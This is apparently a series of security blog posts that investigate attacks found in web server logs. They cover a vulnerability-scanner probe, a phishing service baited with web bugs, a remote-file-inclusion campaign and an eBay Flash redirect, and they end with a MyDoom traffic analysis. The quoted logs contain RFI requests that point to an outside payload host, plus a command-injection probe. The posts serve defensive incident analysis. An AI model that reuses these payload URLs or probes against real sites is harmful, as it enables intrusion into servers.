When we describe the process an attacker goes through to compromise their target, we usually try to break it up into different phases with terms like reconnaissance, enumeration, probing, and exploitation. This varies when we talk about different kinds of attackers. Some, with no specific target in mind, will skip “casing the joint”, and just scan massive numbers of sites for specific vulnerabilities.

The real bottom-of-the-barrel here is the attacker that tries to compromise a site with a tool meant for vulnerability assessments. These are tools that are not built for any sort of stealth or finesse, because they are meant to be run in the course of a vulnerability assessment by a pentester (using the term loosely here) or systems administrators that want the scan over with quickly. In this case, it doesn’t matter if it leaves a huge signature in the logs or if the IDS screams bloody murder, because the person responsible for tending to those alerts is the person who ran the tool, or is at least aware of the test. This is not as desirable for an attacker who is trying to avoid getting caught or alerting admin/security staff of a breach.

In this specific example, we’ll take a look at some logs generated by an attack launched against this website. The attacker, in this case, is using the Acunetix Web Vulnerability Scanner (likely a pirated copy), and obviously hasn’t thought about what kind of signature it leaves in log files. Those who follow me on twitter and other resourceful readers either already know who this is, or could find out with a little sleuthing and deduction. I haven’t bothered to sanitize the IP address, so you can look through your own logs for traffic like this coming from this guy’s usual range of IP addresses.

Here, I’m going to step through the highlights of the entries that this script kiddie left in my Apache logs. Notice the first two hits from this tool:


20080305.log:75.3.18.189 - - [05/Mar/2008:02:10:49 -0500]
“GET /acunetix-wvs-test-for-some-inexistent-file HTTP/1.0″ 404 240 “-”
“Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”

20080305.log:75.3.18.189 - - [05/Mar/2008:02:10:49 -0500]
“GET /acunetix-wvs-test-for-some-inexistent-file-second-try HTTP/1.0″ 404 251 “-”
“Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”


So much for coming in undetected.

This serves a couple of purposes. If you were running this as part of a legitimate assessment, it lets you easily find the place in your logs where your vulnerability assessment started, as well as identify the tool used. I believe that this scanner will also use the response in comparison with other responses later, to determine when files aren’t found, although I haven’t personally used or tested Acunetix.

The tool then indexes the entire target website, apparently not throttling itself at all or making any attempt to disguise itself as normal traffic. I’ll spare you from having to look through the complete logs of it spidering my website, but I will bring your attention to a couple of entries, to show you something interesting:


20080305.log:75.3.18.189 - - [05/Mar/2008:02:10:57 -0500]
“GET /training/ HTTP/1.0″ 200 5176 “http://www.mcgrewsecurity.com:80/”
“Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”

20080305.log:75.3.18.189 - - [05/Mar/2008:02:10:57 -0500]
“GET /services/ HTTP/1.0″ 200 6405 “http://www.mcgrewsecurity.com:80/”
“Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”


Notice the referral URL? It is explicitly specifying port 80, which would not be necessary or normal for a typical web browser. Throughout the logs Acunetix generated, the referral URL consistently had the “:80″. Once it finished indexing, it tried a few (surprisingly few) simple exploits that didn’t work, and then it was over:


20080305.log:75.3.18.189 - - [05/Mar/2008:02:11:40 -0500]
“GET /cgi-bin/test-cgi.bat?|dir HTTP/1.0″ 404 218 “-”
“Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”

20080305.log:75.3.18.189 - - [05/Mar/2008:02:11:40 -0500]
"GET / HTTP/1.0" 417 397 "-"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"


The moral of this story is to realize that, even when it’s not in their best interests, lesser-skilled attackers will use tools that are meant for vulnerability assessments in attacks on systems. These tools are usually a poor choice for an actual attack. Acunetix is one example. Even more often you’ll see attackers using Nessus to test for every single vulnerability they can. These are tools that are trivial to detect and should be very obvious to an alert administrator. If you use these tools in regular assessments of your own organization, be sure that you’re able to determine easily which scans are executed by your staff and which are launched against you by inept attackers.

The attackers that choose these tools typically do so thanks to inexperience. They may feel that if it’s used by “professionals”, then it must also be good for their purposes. They may not understand the attacks or the process of finding vulnerable services, and therefore rely on a tool that seems like it will do all of the work for them. Pirated commercial tools are often desirable, as the inexperienced attacker might place more value on something that’s harder to get, over freeware tools that anyone can download.

I will probably have some more stories about this particular script kiddie coming soon. There’s certainly no shortage of material. The absolute master of script kiddie takedowns has a blog at VitalSecurity and is a must-read. I only hope I can be as entertaining with this as he is.

In the meantime between this post and the next, if you think you know who I’m talking about and have had interactions with him in the past, or you’re just curious, grep through your access logs for “acunetix” and see if something in the 75.3.*.* (75.3.16.0 - 75.3.31.255 to be a little more precise) shows up. If that pops up something, or you see some other unusual activity from that range (admittedly large) send me an email and I might be able to corroborate things from my logs and yours to tie things together. I know for a fact that I’m not the only site he’s been playing with ;) .

The Princeton guys that I mentioned in my last post have not released the tools that they used in their paper, yet. I wanted to play around with the way PC’s tend to retain memory, so I’ve written my own implementation of the RAM dumper they describe and show in their videos:

• msramdmp - The McGrew Security RAM Dumper

Now, you can try it out for yourself, and see how you can recover text, images, and other data (such as encryption keys!) from memory after the plug has been pulled for a short period of time.

A week ago on the BinRev forums, a link was posted to a site that advertised the ability of the owners to hack any web-based email account. The link was to crackmails.net, however the same site was also available at yourhackers.net and hackpasswords.net (and perhaps more). The cost of this service was $100 per account, and (this is the great part) they would provide proof to you that they had hacked the target account with a screenshot of the inbox. Only then would you have to pay to receive the . You probably know what I was thinking when I read this already ;) .

Here’s what the main page looked like:

I created a new email address on Gmail, with the name of a recent, but inactive, troll on the forums (so there’d be a few things in Google if they decided to do their research). Then, I filled out their order form with the information in the screenshot below, asking them to attack my own Gmail account, wesleymcgrew@gmail.com . I had to give them something that didn’t look as much like a dummy account. Besides, it’s funnier this way. I had a lot of fun filling out the form asking why they should hack my Gmail account ;) :

A short while later, I received an automated mail confirming my order (very professional!) in my dummy account’s inbox:

A full day later, I received the following phishing mail in my own Gmail account:

A plaintext copy of this email with full headers is available here for those who love to dig :). I suppose they got around Gmail’s filters by being such a small operation. Does anyone really trust 123greetings-type emails anymore? I guess they must. Notice the domain name 123greetingsline.com, and the just-for-me unique URL. I tried modifying the URL, however it seems like they just generate the files as-needed when they receive an order.

Clicking on the link takes you to the phishing site itself:

Here’s the source for the login form:

For all the domain names they have, and all the web hosts they’ve been using, they had to resort to using a form mail script and leave the email addresses they use for harvesting out in the open. Hilarious.

If you’re a regular reader of this blog, you already know what I like to do with phishing sites (read up here if you’re not familiar with the technique I use to set up web bugs for catching phishers unaware). This one is no exception, so I set up a unique image and page on my site here to use with a web bug. Then I fill out the form fields with the html needed to try and render the image and link to the unique URL:

Once that was submitted, it actually went through the trouble of redirecting me to the real 123greetings for a nice card:

I set up tail and grep to look for a hit to either of the unique URLs I set up, and a day later I got the hit:

81.129.180.36 - - [23/Oct/2007:12:23:19 -0400]
"GET /XXXXXXXXXXXXXXX>HAY</a&gt HTTP/1.1" 404 245
"http://desigubshup.com:2095/horde/imp/message.php?index=245"
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1;
.NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506;
InfoPath.2)"

So, here you have the IP address (resolves to one of btcentralplus.com’s customers), which at a glance didn’t appear to be running any sort of open proxy, a referral URL revealing where and how they’re checking their mail (there might be somewhere around 244 other victims, judging from the mail ID), and a nice long user agent string. Judging by the mangled end of the request, my web bugs didn’t render very well within IMP, however the phisher was dumb enough to click on the link anyway. This is the reason I try to put HTML links in along with normal image-based web bugs, and you’d be amazed at how often this happens.

I sent a couple of emails to them inquiring about the status of my order. Unfortunately, I haven’t heard back from them. As of a day or two ago, the sites they were advertising their services on look like this:

I’m sure they’re not very happy about that. Maybe they’ll find this post and leave us a comment bringing us up to speed on their situation ;) .

For some attackers, it’s just a matter of casting it out there to every possible target and hope something sticks. This sort of thing turns up fairly often in my logs, and probably yours too. This time, I’m going to use it to illustrate just how much intelligence you can gather about your attackers if you take some time to investigate. This particular example is a spectacular failure:

195.42.160.22 - - [30/Sep/2007:15:00:26 -0400]
"GET /projects/goosweep/testhttp://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0"
404 262 "-" "libwww-perl/5.48"

195.42.160.22 - - [30/Sep/2007:15:00:26 -0400]
"GET /testhttp://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0"
404 244 "-" "libwww-perl/5.48"

195.42.160.22 - - [30/Sep/2007:15:00:27 -0400]
"GET /projects/testhttp://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0"
404 253 "-" "libwww-perl/5.48"

195.42.160.22 - - [30/Sep/2007:15:00:31 -0400]
"GET /projects/goosweep/testhttp://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0"
404 262 "-" "libwww-perl/5.48"

195.42.160.22 - - [30/Sep/2007:15:00:32 -0400]
"GET /testhttp://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0"
404 244 "-" "libwww-perl/5.48"

195.42.160.22 - - [30/Sep/2007:15:00:32 -0400]
"GET /projects/testhttp://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0"
404 253 "-" "libwww-perl/5.48"

I’m not even very sure what vulnerability they’re trying to exploit here, if any. It almost looks as though they were just testing out their script, and happened to think it was a good idea to run it against a website that specializes in various aspects of computer security. This tells you something about the attackers to start with.

I’m going to cover a few easy investigative tricks you can do to find out more about an attack like this. I’m going to write this as I do it, so information I discuss earlier may be proven wrong by the end of the post. This is intentional, as it’s important to show how theories are formed based on evidence and then thrown out when something is found to contradict them.

First, consider the IP address, 195.42.160.22 . Let’s see what we can find out from it:

• It doesn’t show up in the logs anywhere else (nor does anything else 195.42.*.*)
  • Most of the traffic in the minutes leading up to the attack are RSS readers looking at the blog. There’s no apparent “looking around” type traffic coming from any other IP addresses in the minutes leading up to the attempts.
  • I wasn’t likely “chosen” for an attack so much as I was automatically spidered from a search query or other site.
• The IP address reverse-DNS’s to wizard.dataforce.net . Dataforce is a Russian ISP.
  • Judging from the hostname, it seems like more of a server for the ISP than an individual’s workstation.
  • So, it’s probably a machine they’ve managed to hack with a similar exploit, and they’re branching out.
• Looking on google, other sites’ logs and discussion reveal similar things coming from that IP address and host name:
  • Windows 98 user agent?
  • Attempts to grab lots of different php. Looks like attempts to find things they know how to RFI. As recent as in the past 24 hours.
  • Some more attempts at what they did on my site. At least these attempts are better formatted than the ones in my logs:
    • wizard.dataforce.net - - [02/Oct/2007:03:44:03 +0900] “GET /admin/index.php?=connection:absolute_path=http://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0″ 302 284
    • wizard.dataforce.net - - [02/Oct/2007:03:44:05 +0900] “GET /index.php?=connection:absolute_path=http://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0″ 302 284
  • This site appears to be hosted on wizard.dataforce.net. This supports the idea that this is a shared web host for the ISP’s customers.
  • Several other sites have exposed access_logs revealing connections from wizard.dataforce.net, and a handful of other apparent web hosts attempting to RFI the same “infect.jpg”. Examples were noticed where “infect.jpg” was downloaded from other sites, as well. This also supports the idea that this is a branching-out and spreading type of attack.

That’s a good bit of information to gather from one IP address :) . Next, let’s look at the payload, “http://www.infectsgroup.kit.net/infect.jpg”:

• It’s not a real jpg of course. It’s PHP code. I’ve hosted it here, so you can take a look and follow along. I’ve taken out the opening and closing tags, so it’s not effective for remote-inclusion off of my own site ;)
• Once you take the code and reformat it, you’ll see that it’s designed to spit out a few bits of information about the server, then attempt to run the “id” command to get the current user ID.
  • There’s a big “ex()” function that tries to execute the command in many different ways.
  • This code doesn’t really “do” much, but the results it spits back can be processed to determine if a server running an app vulnerable to RFI has been found. Presumably if it finds something, their script either saves the results in a report, or immediately moves to install a proper backdoor PHP shell.
• Looks like some french-speaking folk ran across it the other day
• The author of the script has been busy defacing websites (registration required, and I highly recommend it)
  • Defacing in the name Kurdistan Security Team (with very slick ascii art!).

That about settles matters. For the sake of completion I searched through my logs for other connection that used the same User Agent string, “libwww-perl/5.48″. The only other connections were from another host just yesterday, attempting similar RFI attacks. The IP address turns out to be another shared host, in Germany this time, and the payload had already been taken down.

So what you see here is a shotgun approach to defacing a lot of pages and boosting their name up on Zone-H’s defacement archive. This is pretty basic stuff, but it’s a very interesting exercise to take a few log entries and expand out a profile for the attack and attackers. Hopefully you can apply this to your own incidents.

Last night, a friend pointed out an auction on Ebay Motors that would automatically redirect you to a phishing site. It turns out, the auction had a flash movie embedded that performed the redirect. Here’s the relevant bit of the auction’s code:

I haven’t bothered obfuscating the IP address, so don’t go poking around unless you feel like you know what you’re doing :) . As a matter of fact, for the sake of folks using GooSweep to investigate incidents involving this guy, here’s something for the googlebots to pick up: The IP address 89.34.212.194 is hosting a handful of Ebay Motors phishing sites and flash redirects to those sites..

The host is in Romania, and has been around at least long enough to get its phishing sites indexed by Google. Since there seems to be such a small chance of getting caught and punished for this sort of thing over there, many Romanian attackers are pretty open and carefree about their operations. I wouldn’t be surprised to find out that this box is some old PIII under the phisher’s desk.

Moving on, the flash file itself is pretty interesting. It’s only 172 bytes, and as you can see from the screenshot above, it’s being hosted in a few different places. It may be an attempt to make sure it fails over if the hosting goes down, but I suspect it may be an attempt to throw careless investigators off track. Only the center, highlighted link to 89.34.212.194 ever worked since the time this was spotted. I grabbed the swf, and since it’s so small, my first instinct was to just take a look at it directly:

I don’t know a lot about flash and I didn’t have any flash specific tools on my system, but this is pretty straightforward :) . To make it a bit clearer, I installed flasm (a Flash assembler and dissassembler) out of the Ubuntu repositories and ran it to get the following output:

Again, I don’t know much about Flash, but it’s obviously not rocket science. The attacker defines a function that getURL’s the target, and sets up a call to it in the first frame of the “movie”. It’s pretty trivial to modify this to redirect anywhere, just change the url and use flasm to recompile. I tried this out, so here’s an swf file that’ll redirect you to my blog ;) :

Sample Flash Redirect (.swf)

This is a bad situation for sites like Ebay, with users that demand the ability to have Flash content (such as image galleries, animations, etc.). It’s easy for them to patch up ways to redirect and XSS in the auction’s code itself, but it’s much more difficult to regulate what goes on in Flash objects brought in from other servers. It’s also difficult for Adobe to fix this up in Flash, since I would think that many legitimate sites use the getURL functionality to hop around. I imagine a solution would require sites to have policies on what functionality is allowed and/or disallowed, that the Flash player would have to parse and honor those policies.

The paper that I presented at the IFIP WG 11.9 digital forensics conference, “Using Search Engines to Acquire Network Forensics Evidence” (using my tool GooSweep) has been published as a chapter of the new hardcover “Advances in Digital Forensics III” from IFIP and Springer. I just received my copy today, and I’m quite proud:

More information is available over at Amazon

HD Moore has placed the slides online for the talk he and Valsmith gave on “Tactical Exploitation” yesterday at Black Hat. I normally don’t like just reading through the slides for a talk, but until I can obtain some audio/video this’ll definitely do. One of the reasons I don’t like having only the slides is that it’s often hard to follow without narration. That is definitely not the case with these. It’s packed with good ideas for testing the security of an organization, and covers a lot of aspects that make up a good penetration test, rather than simply a vulnerability scan.

This is highly recommended reading!

HD Moore’s conference slides

Direct link to the slides (pdf).

LonerVamp of terminal23 has written a nice blog post about anonymity on Internet Relay Chat (IRC):

staying anonymous - part 4 irc

I left some additional comments to it that should be approved any moment now ;) . Anonymity is harder than configuring your client to use a proxy, and LonerVamp does a good job of conveying that. It’s a matter of changing your behavior, and becoming tuned to recognize identifying characteristics of what you’re doing, and modifying them. You should always be looking for ways that you might blow your own cover and prevent those situations from happening before someone else comes around to blow it for you. IRC’s a great protocol to think about anonymity in, since there’s such a host of technical and social problems that might make things difficult.

Maybe I should start my own multi-part series on “Blowing Up People’s Anonymity” ;).

Alexander Sandström Krantz has self-published a report, entitled “Practical WLAN Security”, that he put together along with David Johansson for a class at Linköpings University in Sweden. I just caught his post on SecurityFocus’s “basics” list, and have glanced over the text, and it looks to be a very well written introduction to 802.11 network security issues. This is definitely something you should pick up and read if you’re getting a start on this subject

http://wireless.sandstromkrantz.se/

Update: Mirror at http://www.cyd.liu.se/~alesa195/

Lately I’ve been reading Eldad Eilam’s “Reversing: Secrets of Reverse Engineering”, working through all of the exercises and such. I need to build up my skills at really low level workings of Windows, static analysis of disassembled code, and debugging a live process more effectively. This is the perfect book for that, so I’ve been really enjoying it.

When I received some malware, attached to a “Message could not be delivered” email, I figured I’d play with it bit, as I often enjoy doing. Now, this is the sort of thing VMWare Server is excellent for. If you ‘re running Ubuntu, check here for a nice writeup on getting it going on 6.10. For Feisty, check my comments :) . I can create a checkpoint before I load the malware onto the system, and then rewind it back to that clean state whenever needed.

I already had an Windows XP VM that I was using OllyDbg in, working through Eilam’s examples, so I figured it’d be fun to load up some malware and see what I could do. Unfortunately, I’m not far enough into the book yet to beat this malware’s executable packing and anti-debugging features ;) . Not to be discouraged, I dropped back to my one of my usual techniques for analyzing malware: seeing how it interacts with the network.

For this, I could run Wireshark in the host OS (Linux) without fear of the malware affecting it. Here’s some notes:

As you can see, this executable tries hard to make itself look like an HTML file (that’s a “.com” at the end of all those spaces). A proper icon would have helped though.

I was very happy that, when I ran the malware, the Windows Firewall popped up to ask me if I wanted to let it access the network. The malware was smart enough to call itself “services”, which is innocuous enough for a lot of people. For the purposes of testing, I went ahead and allowed it.

After a while of sniffing traffic, I stopped the Wireshark capture, and began restoring the VM back to a clean slate. The traffic mostly consisted of email (sending out copies of itself, boring and unsuccessful), and web traffic (much more interesting). So, if you want to take a look at the sort of web requests are being made in a packet dump, here’s a nice display filter…

This filter resulted in a large number of searches on lots of search engines, presumably looking for more email addresses to spread to on sites that it found in my browser history:

I’m impressed by the wide variety of search engines and terms that I’ve seen it use. I do, however, question the practicality of mining debian.org for people vulnerable to Windows malware ;-)

So, for this exercise, I intentionally didn’t search out any information about the virus beforehand, but this is always a good idea. Google the md5 hash of the malware you get your hands on, run strings over it and search for any unique strings, and anything else you can think of. Anytime you can find someone who’s already done analysis for you, you have saved some time. Just be sure to verify their results, because they may not know what they’re doing, or maybe you have a new variant.

For the sake of completeness, here’s what VirusTotal.com had to say about this malware:

Antivirus	Version	Update	Result
AhnLab-V3	2007.5.16.1	05.16.2007	Win32/MyDoom.worm.40960.B
AntiVir	7.4.0.23	05.16.2007	Worm/Mydoom.BB.1
Authentium	4.93.8	05.16.2007	W32/Mydoom.BF@mm
Avast	4.7.997.0	05.16.2007	Win32:Mydoom-L2
AVG	7.5.0.467	05.16.2007	I-Worm/Mydoom
BitDefender	7.2	05.17.2007	Win32.Mydoom.AQ@mm
CAT-QuickHeal	9.00	05.16.2007	I-Worm.Mydoom.m
ClamAV	devel-20070416	05.16.2007	Worm.Mydoom.M-unp
DrWeb	4.33	05.16.2007	Win32.HLLM.MyDoom.54464
eSafe	7.0.15.0	05.16.2007	Win32.Mydoom.bf
eTrust-Vet	30.7.3638	05.17.2007	Win32/Mydoom.BA
Ewido	4.0	05.16.2007	Worm.Mydoom.m
FileAdvisor	1	05.17.2007	no virus found
Fortinet	2.85.0.0	05.17.2007	W32/MyDoom.BE@mm
F-Prot	4.3.2.48	05.16.2007	W32/Mydoom.BC@mm
F-Secure	6.70.13030.0	05.17.2007	Email-Worm.Win32.Mydoom.am
Ikarus	T3.1.1.7	05.16.2007	Email-Worm.Win32.Mydoom.m
Kaspersky	4.0.2.24	05.17.2007	Email-Worm.Win32.Mydoom.am
McAfee	5032	05.16.2007	W32/Mydoom.bf@MM
Microsoft	1.2503	05.17.2007	Worm:Win32/Mydoom.BF@mm
NOD32v2	2272	05.17.2007	Win32/Mydoom.AX
Norman	5.80.02	05.16.2007	W32/MyDoom.AU@mm
Panda	9.0.0.4	05.16.2007	W32/Mydoom.AT.worm
Prevx1	V2	05.17.2007	no virus found
Sophos	4.17.0	05.16.2007	W32/MyDoom-BE
Sunbelt	2.2.907.0	05.17.2007	VIPRE.Suspicious
Symantec	10	05.17.2007	W32.Mydoom.BB@mm
TheHacker	6.1.6.115	05.15.2007	W32/Mydoom.am
VBA32	3.12.0	05.16.2007	MalwareScope.Email-Worm.Mydoom.1
VirusBuster	4.3.7:9	05.16.2007	I-Worm.MyDoom.BC
Webwasher-Gateway	6.0.1	05.17.2007	Worm.Mydoom.BB.1